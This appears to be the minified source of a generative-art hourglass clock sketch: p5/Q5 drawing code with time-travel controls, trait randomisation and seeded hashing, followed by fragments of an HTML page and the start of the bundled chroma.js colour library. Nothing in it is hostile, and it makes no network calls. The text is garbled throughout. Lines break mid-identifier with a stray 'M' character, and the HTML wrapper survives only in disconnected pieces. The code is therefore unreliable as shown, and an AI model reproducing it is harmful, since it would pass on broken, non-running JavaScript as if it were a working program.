*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
